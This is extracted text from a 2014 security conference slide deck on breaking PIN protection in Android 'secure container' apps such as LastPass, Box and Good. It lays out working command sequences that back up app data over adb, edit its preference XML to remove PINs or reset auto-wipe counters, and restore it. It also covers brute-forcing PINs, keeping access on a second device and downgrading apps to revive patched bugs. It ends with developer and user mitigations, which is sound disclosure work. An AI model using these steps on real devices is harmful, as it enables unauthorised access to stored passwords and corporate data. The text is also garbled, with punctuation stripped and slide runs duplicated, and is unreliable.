THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 68: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 69: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

